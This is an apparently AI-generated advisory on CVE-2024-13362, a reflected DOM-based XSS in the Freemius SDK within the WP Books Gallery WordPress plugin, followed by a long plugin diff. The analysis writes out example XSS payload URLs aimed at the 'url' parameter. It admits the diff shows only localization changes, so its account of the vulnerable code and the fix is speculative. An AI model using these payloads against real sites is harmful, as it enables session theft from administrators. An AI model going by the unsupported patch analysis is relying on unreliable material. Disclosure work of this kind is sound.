Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (wp-books-gallery)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 4.6.8
Patched Version 4.7.6
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) vulnerability in the Freemius SDK library (versions <= 2.10.1) and its integration within the WP Books Gallery plugin. The vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript code via the 'url' parameter. The CVSS score is 6.1 (Medium), and the CWE is 79 (Cross-Site Scripting).

Root Cause:
The root cause lies in insufficient input sanitization and output escaping of the 'url' parameter when processed by the Freemius SDK's connect functionality. The vulnerable code path is in the Freemius SDK files (not shown in this diff, as the diff only shows localization fixes) where the 'url' parameter is used directly in JavaScript context without proper sanitization. The Freemius SDK uses window.location or similar DOM methods to handle redirect URL parameters, which can be abused to inject script payloads. The vulnerability is present in the connect screen flow where an attacker-controlled 'url' parameter is written to the DOM without encoding.

Exploitation:
An attacker can craft a malicious link containing a JavaScript payload in the 'url' parameter, such as: 'https://target.com/wp-admin/admin.php?page=wbg-core-settings&url=javascript:alert(document.cookie)' or 'https://target.com/wp-admin/admin.php?page=wbg-core-settings&url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E'. When a logged-in administrator clicks on the crafted link, the malicious script executes in the context of the WordPress admin area, allowing the attacker to steal session cookies, perform admin actions, or redirect to phishing pages. The attack requires user interaction (the victim must click the link) but does not require any prior authentication for the attacker.

Patch Analysis:
This specific diff does not show the actual XSS fix. The diff shows only localization improvements (changing text domain constants from 'WBG_TXT_DOMAIN' to 'wp-books-gallery'). The Freemius SDK patch (version 2.10.2) addresses the XSS by properly sanitizing and escaping the 'url' parameter using functions like esc_url_raw() or esc_js() before outputting it in JavaScript context. The before state allowed arbitrary input in the 'url' parameter to be used directly in DOM operations. The after state ensures the 'url' parameter is encoded to prevent script injection.

Impact:
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of an authenticated WordPress administrator. This could lead to: session hijacking via cookie theft, privilege escalation by performing admin actions on behalf of the victim, installation of backdoors, defacement of the site, or redirection to malicious sites. Given that this is a reflected XSS requiring user interaction, the impact is high but limited by the need for a victim to click the malicious link.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-books-gallery/admin/cls-books-gallery-admin.php
+++ b/wp-books-gallery/admin/cls-books-gallery-admin.php
@@ -33,8 +33,8 @@
         $wbg_cpt_menu = 'edit.php?post_type=books';
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'General Settings', WBG_TXT_DOMAIN ),
-            __( 'General Settings', WBG_TXT_DOMAIN ),
+            __( 'General Settings', 'wp-books-gallery' ),
+            __( 'General Settings', 'wp-books-gallery' ),
             'manage_options',
             'wbg-core-settings',
             array($this, WBG_PRFX . 'general_settings'),
@@ -42,8 +42,8 @@
         );
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'Gallery Settings', WBG_TXT_DOMAIN ),
-            __( 'Gallery Settings', WBG_TXT_DOMAIN ),
+            __( 'Gallery Settings', 'wp-books-gallery' ),
+            __( 'Gallery Settings', 'wp-books-gallery' ),
             'manage_options',
             'wbg-general-settings',
             array($this, 'wbg_gallery_settings'),
@@ -51,8 +51,8 @@
         );
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'Search Panel Settings', WBG_TXT_DOMAIN ),
-            __( 'Search Panel Settings', WBG_TXT_DOMAIN ),
+            __( 'Search Panel Settings', 'wp-books-gallery' ),
+            __( 'Search Panel Settings', 'wp-books-gallery' ),
             'manage_options',
             'wbg-search-panel-settings',
             array($this, WBG_PRFX . 'search_panel_settings'),
@@ -60,8 +60,8 @@
         );
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'Book Detail Settings', WBG_TXT_DOMAIN ),
-            __( 'Book Detail Settings', WBG_TXT_DOMAIN ),
+            __( 'Book Detail Settings', 'wp-books-gallery' ),
+            __( 'Book Detail Settings', 'wp-books-gallery' ),
             'manage_options',
             'wbg-details-settings',
             array($this, WBG_PRFX . 'details_settings'),
@@ -69,8 +69,8 @@
         );
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'API Import', WBG_TXT_DOMAIN ),
-            __( 'API Import', WBG_TXT_DOMAIN ),
+            __( 'API Import', 'wp-books-gallery' ),
+            __( 'API Import', 'wp-books-gallery' ),
             'manage_options',
             'wbg-api-import',
             array($this, WBG_PRFX . 'api_import'),
@@ -78,8 +78,8 @@
         );
         add_submenu_page(
             $wbg_cpt_menu,
-            __( 'Usage & Tutorial', WBG_TXT_DOMAIN ),
-            __( 'Usage & Tutorial', WBG_TXT_DOMAIN ),
+            __( 'Usage & Tutorial', 'wp-books-gallery' ),
+            __( 'Usage & Tutorial', 'wp-books-gallery' ),
             'manage_options',
             'wbg-get-help',
             array($this, WBG_PRFX . 'get_help'),
@@ -144,23 +144,23 @@

     function wbg_custom_post_type() {
         $labels = array(
-            'name'               => __( 'Books', WBG_TXT_DOMAIN ),
-            'singular_name'      => __( 'Book', WBG_TXT_DOMAIN ),
-            'menu_name'          => __( 'WBG Books', WBG_TXT_DOMAIN ),
-            'parent_item_colon'  => __( 'Parent Book', WBG_TXT_DOMAIN ),
-            'all_items'          => __( 'All Books', WBG_TXT_DOMAIN ),
-            'view_item'          => __( 'View Book', WBG_TXT_DOMAIN ),
-            'add_new_item'       => __( 'Add New Book', WBG_TXT_DOMAIN ),
-            'add_new'            => __( 'Add New', WBG_TXT_DOMAIN ),
-            'edit_item'          => __( 'Edit Book', WBG_TXT_DOMAIN ),
-            'update_item'        => __( 'Update Book', WBG_TXT_DOMAIN ),
-            'search_items'       => __( 'Search Book', WBG_TXT_DOMAIN ),
-            'not_found'          => __( 'Not Found', WBG_TXT_DOMAIN ),
-            'not_found_in_trash' => __( 'Not found in Trash', WBG_TXT_DOMAIN ),
+            'name'               => __( 'Books', 'wp-books-gallery' ),
+            'singular_name'      => __( 'Book', 'wp-books-gallery' ),
+            'menu_name'          => __( 'WBG Books', 'wp-books-gallery' ),
+            'parent_item_colon'  => __( 'Parent Book', 'wp-books-gallery' ),
+            'all_items'          => __( 'All Books', 'wp-books-gallery' ),
+            'view_item'          => __( 'View Book', 'wp-books-gallery' ),
+            'add_new_item'       => __( 'Add New Book', 'wp-books-gallery' ),
+            'add_new'            => __( 'Add New', 'wp-books-gallery' ),
+            'edit_item'          => __( 'Edit Book', 'wp-books-gallery' ),
+            'update_item'        => __( 'Update Book', 'wp-books-gallery' ),
+            'search_items'       => __( 'Search Book', 'wp-books-gallery' ),
+            'not_found'          => __( 'Not Found', 'wp-books-gallery' ),
+            'not_found_in_trash' => __( 'Not found in Trash', 'wp-books-gallery' ),
         );
         $args = array(
-            'label'               => __( 'books', WBG_TXT_DOMAIN ),
-            'description'         => __( 'Description For Books', WBG_TXT_DOMAIN ),
+            'label'               => __( 'books', 'wp-books-gallery' ),
+            'description'         => __( 'Description For Books', 'wp-books-gallery' ),
             'labels'              => $labels,
             'supports'            => array(
                 'title',
@@ -194,17 +194,17 @@

     function wbg_taxonomy_for_books() {
         $labels = array(
-            'name'              => __( 'Book Categories', WBG_TXT_DOMAIN ),
-            'singular_name'     => __( 'Book Category', WBG_TXT_DOMAIN ),
-            'search_items'      => __( 'Search Book Categories', WBG_TXT_DOMAIN ),
-            'all_items'         => __( 'All Book Categories', WBG_TXT_DOMAIN ),
-            'parent_item'       => __( 'Parent Book Category', WBG_TXT_DOMAIN ),
-            'parent_item_colon' => __( 'Parent Book Category:', WBG_TXT_DOMAIN ),
-            'edit_item'         => __( 'Edit Book Category', WBG_TXT_DOMAIN ),
-            'update_item'       => __( 'Update Book Category', WBG_TXT_DOMAIN ),
-            'add_new_item'      => __( 'Add New Book Category', WBG_TXT_DOMAIN ),
-            'new_item_name'     => __( 'New Book Category Name', WBG_TXT_DOMAIN ),
-            'menu_name'         => __( 'Book Categories', WBG_TXT_DOMAIN ),
+            'name'              => __( 'Book Categories', 'wp-books-gallery' ),
+            'singular_name'     => __( 'Book Category', 'wp-books-gallery' ),
+            'search_items'      => __( 'Search Book Categories', 'wp-books-gallery' ),
+            'all_items'         => __( 'All Book Categories', 'wp-books-gallery' ),
+            'parent_item'       => __( 'Parent Book Category', 'wp-books-gallery' ),
+            'parent_item_colon' => __( 'Parent Book Category:', 'wp-books-gallery' ),
+            'edit_item'         => __( 'Edit Book Category', 'wp-books-gallery' ),
+            'update_item'       => __( 'Update Book Category', 'wp-books-gallery' ),
+            'add_new_item'      => __( 'Add New Book Category', 'wp-books-gallery' ),
+            'new_item_name'     => __( 'New Book Category Name', 'wp-books-gallery' ),
+            'menu_name'         => __( 'Book Categories', 'wp-books-gallery' ),
         );
         register_taxonomy( 'book_category', array('books'), array(
             'hierarchical'      => true,
@@ -223,7 +223,7 @@
     function wbg_book_details_metaboxes() {
         add_meta_box(
             'wbg_book_details_link',
-            __( 'Book Information', WBG_TXT_DOMAIN ),
+            __( 'Book Information', 'wp-books-gallery' ),
             array($this, WBG_PRFX . 'book_details_content'),
             'books',
             'normal',
@@ -233,7 +233,7 @@
         remove_meta_box( 'postimagediv', 'books', 'side' );
         add_meta_box(
             'postimagediv',
-            __( 'Book Cover Image', WBG_TXT_DOMAIN ),
+            __( 'Book Cover Image', 'wp-books-gallery' ),
             'post_thumbnail_meta_box',
             'books',
             'side',
@@ -291,6 +291,8 @@
             'wbg_translator'        => ( isset( $_POST['wbg_translator'] ) ? sanitize_text_field( $_POST['wbg_translator'] ) : '' ),
             'wbg_editorial_reviews' => ( isset( $_POST['wbg_editorial_reviews'] ) ? wp_kses_post( $_POST['wbg_editorial_reviews'] ) : null ),
             'wbg_wc_product_type'   => ( isset( $_POST['wbg_wc_product_type'] ) ? sanitize_text_field( $_POST['wbg_wc_product_type'] ) : 'ext' ),
+            'wbg_narrator'          => ( isset( $_POST['wbg_narrator'] ) ? sanitize_text_field( $_POST['wbg_narrator'] ) : '' ),
+            'wbg_listening_length'  => ( isset( $_POST['wbg_listening_length'] ) ? sanitize_text_field( $_POST['wbg_listening_length'] ) : '' ),
         );
         $wbg_books_meta = apply_filters( 'wbg_books_meta', $wbg_books_meta_params, $wbg_books_meta_posts );
         foreach ( $wbg_books_meta as $key => $value ) {
@@ -420,10 +422,10 @@
         ?>">
 			<span class="wbg-closebtn">×</span>
 			<strong><?php
-        esc_html_e( ucfirst( $type ), WBG_TXT_DOMAIN );
+        esc_html_e( ucfirst( $type ), 'wp-books-gallery' );
         ?>!</strong>
 			<?php
-        esc_html_e( $msg, WBG_TXT_DOMAIN );
+        esc_html_e( $msg, 'wp-books-gallery' );
         ?>
 		</div>
 		<?php
@@ -431,8 +433,8 @@

     function wbg_change_featured_image_link_text( $content ) {
         if ( 'books' === get_post_type() ) {
-            $content = str_replace( 'Set featured image', __( 'Set Book Cover Here', WBG_TXT_DOMAIN ), $content );
-            $content = str_replace( 'Remove featured image', __( 'Remove Book Cover Here', WBG_TXT_DOMAIN ), $content );
+            $content = str_replace( 'Set featured image', __( 'Set Book Cover Here', 'wp-books-gallery' ), $content );
+            $content = str_replace( 'Remove featured image', __( 'Remove Book Cover Here', 'wp-books-gallery' ), $content );
         }
         return $content;
     }
@@ -469,7 +471,7 @@

     function wbg_register_sidebar() {
         register_sidebar( array(
-            'name'          => __( 'Books Gallery Sidebar', WBG_TXT_DOMAIN ),
+            'name'          => __( 'Books Gallery Sidebar', 'wp-books-gallery' ),
             'id'            => 'wbg-gallery-sidebar',
             'description'   => '',
             'class'         => 'sidebar',
@@ -496,4 +498,16 @@
         require_once WBG_PATH . 'admin/view/partial/formats.php';
     }

+    function wbg_best_sellers_rank() {
+        global $post;
+        $wbg_best_sellers_rank = get_post_meta( $post->ID, 'wbg_best_sellers_rank', true );
+        $settings = array(
+            'media_buttons' => false,
+            'editor_height' => 200,
+        );
+        $content = wp_kses_post( $wbg_best_sellers_rank );
+        $editor_id = 'wbg_best_sellers_rank';
+        wp_editor( $content, $editor_id, $settings );
+    }
+
 }
--- a/wp-books-gallery/admin/view/gallery-settings.php
+++ b/wp-books-gallery/admin/view/gallery-settings.php
@@ -6,7 +6,7 @@
 <div id="wph-wrap-all" class="wrap wbg-settings-page">

     <div class="settings-banner">
-        <h2><i class="fa fa-book" aria-hidden="true"></i> <?php _e('Gallery Settings', WBG_TXT_DOMAIN); ?></h2>
+        <h2><i class="fa fa-book" aria-hidden="true"></i> <?php _e('Gallery Settings', 'wp-books-gallery'); ?></h2>
     </div>

     <?php
@@ -19,10 +19,10 @@

         <nav class="nav-tab-wrapper">
             <a href="?post_type=books&page=wbg-general-settings&tab=content" class="nav-tab wbg-tab <?php if ( $tab !== 'styles' ) { ?>wbg-tab-active<?php } ?>">
-                <i class="fa fa-cog" aria-hidden="true"> </i><?php _e('Content', WBG_TXT_DOMAIN); ?>
+                <i class="fa fa-cog" aria-hidden="true"> </i><?php _e('Content', 'wp-books-gallery'); ?>
             </a>
             <a href="?post_type=books&page=wbg-general-settings&tab=styles" class="nav-tab wbg-tab <?php if ( $tab === 'styles' ) { ?>wbg-tab-active<?php } ?>">
-                <i class="fa fa-paint-brush" aria-hidden="true"></i> <?php _e('Styles', WBG_TXT_DOMAIN); ?>
+                <i class="fa fa-paint-brush" aria-hidden="true"></i> <?php _e('Styles', 'wp-books-gallery'); ?>
             </a>
         </nav>

--- a/wp-books-gallery/admin/view/general-settings.php
+++ b/wp-books-gallery/admin/view/general-settings.php
@@ -254,6 +254,52 @@
 ?>
                     </td>
                 </tr>
+                <tr class="wbg_enable_rtl">
+                    <th scope="row">
+                        <label for="wbg_display_free_as_price"><?php
+_e( 'Display Free Instead of 0 Price', 'wp-books-gallery' );
+?>?</label>
+                    </th>
+                    <td>
+                        <?php
+?>
+                            <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                            <?php
+?>
+                    </td>
+                    <th scope="row">
+                        <label><?php
+_e( 'Free Label Text', 'wp-books-gallery' );
+?></label>
+                    </th>
+                    <td>
+                        <?php
+?>
+                            <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                            <?php
+?>
+                    </td>
+                </tr>
+                <tr>
+                    <th scope="row">
+                        <label><?php
+_e( 'Subtitle Prefix', 'wp-books-gallery' );
+?></label>
+                    </th>
+                    <td>
+                        <?php
+?>
+                            <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
+?></span>
+                            <?php
+?>
+                    </td>
+                </tr>
             </table>
             <br><hr>
             <b><?php
@@ -268,18 +314,22 @@
                     <td style="background: #FFF; border:0px; text-align:left; width: 20%;"><b><?php
 _e( 'Alter Text', 'wp-books-gallery' );
 ?></b></td>
-                    <td style="background: #FFF; border:0px; text-align:left;"><b><?php
+                    <td style="background: #FFF; border:0px; text-align:left; width: 20%;"><b><?php
 _e( 'Choose Icon', 'wp-books-gallery' );
 ?></b></td>
+                    <td style="background: #FFF; border:0px; text-align:left;"><b><?php
+_e( 'Button Color', 'wp-books-gallery' );
+?></b></td>
                 </tr>
             </table>
-            <div style="height: 270px; overflow-y: scroll; overflow-x:hidden;">
+            <div style="height: 320px; overflow-y: scroll; overflow-x:hidden;">
                 <table class="wbg-general-settings-table" style="width: 100%;">
                     <?php
 $wbg_sale_sources = $this->wbg_mss_items();
 foreach ( $wbg_sale_sources as $source ) {
     $var = 'wbg_mss_alt_txt_' . str_replace( ' ', '_', strtolower( $source ) );
     $icon = 'wbg_mss_' . str_replace( ' ', '_', strtolower( $source ) ) . '_icon';
+    $color = 'wbg_mss_' . str_replace( ' ', '_', strtolower( $source ) ) . '_color';
     ?>
                         <tr>
                             <th scope="row" style="width: 15%;">
@@ -290,6 +340,15 @@
                             <td style="width: 20%;">
                                 <?php
     ?>
+                                    <span><?php
+    echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+    ?></span>
+                                    <?php
+    ?>
+                            </td>
+                            <td style="width: 20%;">
+                                <?php
+    ?>
                                     <span><?php
     echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
     ?></span>
--- a/wp-books-gallery/admin/view/partial/admin-sidebar.php
+++ b/wp-books-gallery/admin/view/partial/admin-sidebar.php
@@ -25,8 +25,16 @@
                 <li>✓ Widget to Display Latest Books in Slide</li>
                 <li>✓ Display Book Details in PopUp</li>
                 <li>✓ Allow Only Loggedin Users to Download Books</li>
-                <li>✓ Book Author Bio in Details Page & Separate Author Page</li>
+                <li>✓ Book Author Bio in Details Page</li>
+                <li>✓ Separate Author Panel</li>
+                <li>✓ Individual Author Page with Book List</li>
+                <li>✓ Category wise Book List Page</li>
                 <li>✓ Lots of Book Details Meta Data</li>
+                <li>✓ Include Co-Author with Main Author</li>
+                <li>✓ Display Free or Premium Books With Shortcode</li>
+                <li>✓ Display Search Panel in the Details Page</li>
+                <li>✓ Display Only Search Panel in any Page</li>
+                <li>✓ Display a Single Book by book-id</li>
                 <li>
                     <a href="https://books-gallery.com/docs/available-shortcodes/" target="_blank">✓ Lots of Shortcoded Options 🔗</a>
                 </li>
--- a/wp-books-gallery/admin/view/partial/book-information.php
+++ b/wp-books-gallery/admin/view/partial/book-information.php
@@ -29,6 +29,8 @@
 $wbg_illustrator = get_post_meta( $post->ID, 'wbg_illustrator', true );
 $wbg_translator = get_post_meta( $post->ID, 'wbg_translator', true );
 $wbg_wc_product_type = get_post_meta( $post->ID, 'wbg_wc_product_type', true );
+$wbg_narrator = get_post_meta( $post->ID, 'wbg_narrator', true );
+$wbg_listening_length = get_post_meta( $post->ID, 'wbg_listening_length', true );
 if ( !$wbgp_regular_price ) {
     $wbgp_regular_price = 0;
 }
@@ -37,14 +39,14 @@
     <tr class="wbg-sub-title">
         <th scope="row">
             <label><?php
-_e( 'Sub Title', WBG_TXT_DOMAIN );
+_e( 'Sub Title', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -53,7 +55,7 @@
     <tr class="wbg-author">
         <th scope="row">
             <label><?php
-_e( 'Primary Author', WBG_TXT_DOMAIN );
+_e( 'Primary Author', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -65,7 +67,7 @@
     <tr class="publisher">
         <th scope="row">
             <label><?php
-_e( 'Publisher', WBG_TXT_DOMAIN );
+_e( 'Publisher', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -77,14 +79,14 @@
     <tr class="wbg-co-publisher">
         <th scope="row">
             <label><?php
-_e( 'Co-Publisher', WBG_TXT_DOMAIN );
+_e( 'Co-Publisher', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -98,7 +100,7 @@
     <tr class="wbg-published-on">
         <th scope="row">
             <label><?php
-_e( 'Published On', WBG_TXT_DOMAIN );
+_e( 'Published On', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -110,7 +112,7 @@
     <tr class="isbn">
         <th scope="row">
             <label><?php
-_e( 'ISBN', WBG_TXT_DOMAIN );
+_e( 'ISBN', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -122,14 +124,14 @@
     <tr class="isbn13">
         <th scope="row">
             <label><?php
-_e( 'ISBN-13', WBG_TXT_DOMAIN );
+_e( 'ISBN-13', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -138,14 +140,14 @@
     <tr class="wbg-asin">
         <th scope="row">
             <label><?php
-_e( 'ASIN', WBG_TXT_DOMAIN );
+_e( 'ASIN', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -154,7 +156,7 @@
     <tr class="wbg-pages">
         <th scope="row">
             <label for="wbg_pages"><?php
-_e( 'Pages', WBG_TXT_DOMAIN );
+_e( 'Pages', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -166,7 +168,7 @@
     <tr class="wbg-country">
         <th scope="row">
             <label><?php
-_e( 'Country', WBG_TXT_DOMAIN );
+_e( 'Country', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -178,7 +180,7 @@
     <tr class="wbg-language">
         <th scope="row">
             <label><?php
-_e( 'Language', WBG_TXT_DOMAIN );
+_e( 'Language', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -190,7 +192,7 @@
     <tr class="wbg-dimension">
         <th scope="row">
             <label><?php
-_e( 'Dimension', WBG_TXT_DOMAIN );
+_e( 'Dimension', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -202,7 +204,7 @@
     <tr class="wbg-download-link">
         <th scope="row">
             <label><?php
-_e( 'Download URL', WBG_TXT_DOMAIN );
+_e( 'Download URL', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -222,14 +224,14 @@
     <tr class="wbgp-buy-link">
         <th scope="row">
             <label><?php
-_e( 'Sale Product Type', WBG_TXT_DOMAIN );
+_e( 'Sale Product Type', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -238,14 +240,14 @@
     <tr class="wbgp-buy-link">
         <th scope="row">
             <label id="buy-from-url-lbl"><?php
-echo ( 'int' !== $wbg_wc_product_type ? __( 'Buy From URL', WBG_TXT_DOMAIN ) : __( 'Select Internal Product', WBG_TXT_DOMAIN ) );
+echo ( 'int' !== $wbg_wc_product_type ? __( 'Buy From URL', 'wp-books-gallery' ) : __( 'Select Internal Product', 'wp-books-gallery' ) );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -254,7 +256,7 @@
     <tr class="wbg-filesize">
         <th scope="row">
             <label><?php
-_e( 'File Size', WBG_TXT_DOMAIN );
+_e( 'File Size', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -266,14 +268,14 @@
     <tr class="wbg-cost-type">
         <th scope="row">
             <label><?php
-_e( 'Cost Type', WBG_TXT_DOMAIN );
+_e( 'Cost Type', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -282,14 +284,14 @@
     <tr class="wbg-is-featured">
         <th scope="row">
             <label><?php
-_e( 'Is Featured', WBG_TXT_DOMAIN );
+_e( 'Is Featured', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -298,14 +300,14 @@
     <tr class="wbgp-regular-price">
         <th scope="row">
             <label><?php
-_e( 'Regular Price', WBG_TXT_DOMAIN );
+_e( 'Regular Price', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -314,14 +316,14 @@
     <tr class="wbgp-sale-price">
         <th scope="row">
             <label><?php
-_e( 'Discount Price', WBG_TXT_DOMAIN );
+_e( 'Discount Price', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Please Upgrade Now!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -330,14 +332,14 @@
     <tr class="wbg-item-weight">
         <th scope="row">
             <label><?php
-_e( 'Item Weight', WBG_TXT_DOMAIN );
+_e( 'Item Weight', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -346,14 +348,14 @@
     <tr class="wbg-edition">
         <th scope="row">
             <label><?php
-_e( 'Edition', WBG_TXT_DOMAIN );
+_e( 'Edition', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -362,14 +364,14 @@
     <tr class="wbg_illustrator">
         <th scope="row">
             <label><?php
-_e( 'Illustrator', WBG_TXT_DOMAIN );
+_e( 'Illustrator', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
@@ -378,19 +380,21 @@
     <tr class="wbg_translator">
         <th scope="row">
             <label><?php
-_e( 'Translator', WBG_TXT_DOMAIN );
+_e( 'Translator', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
             <?php
 ?>
                 <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
 ?></span>
                 <?php
 ?>
         </td>
     </tr>
+    <?php
+?>

     <?php
 do_action( 'wbg_admin_book_meta_after_filesize' );
@@ -399,7 +403,7 @@
     <tr class="wbg_status">
         <th scope="row">
             <label><?php
-_e( 'Status', WBG_TXT_DOMAIN );
+_e( 'Status', 'wp-books-gallery' );
 ?></label>
         </th>
         <td>
@@ -407,14 +411,14 @@
 echo ( 'inactive' !== $wbg_status ? 'checked' : '' );
 ?> >
             <label for="wbg_status_active"><span></span><?php
-_e( 'Active', WBG_TXT_DOMAIN );
+_e( 'Active', 'wp-books-gallery' );
 ?></label>
               
             <input type="radio" name="wbg_status" id="wbg_status_inactive" value="inactive" <?php
 echo ( 'inactive' === $wbg_status ? 'checked' : '' );
 ?> >
             <label for="wbg_status_inactive"><span></span><?php
-_e( 'Inactive', WBG_TXT_DOMAIN );
+_e( 'Inactive', 'wp-books-gallery' );
 ?></label>
         </td>
     </tr>
--- a/wp-books-gallery/admin/view/partial/gallery-content.php
+++ b/wp-books-gallery/admin/view/partial/gallery-content.php
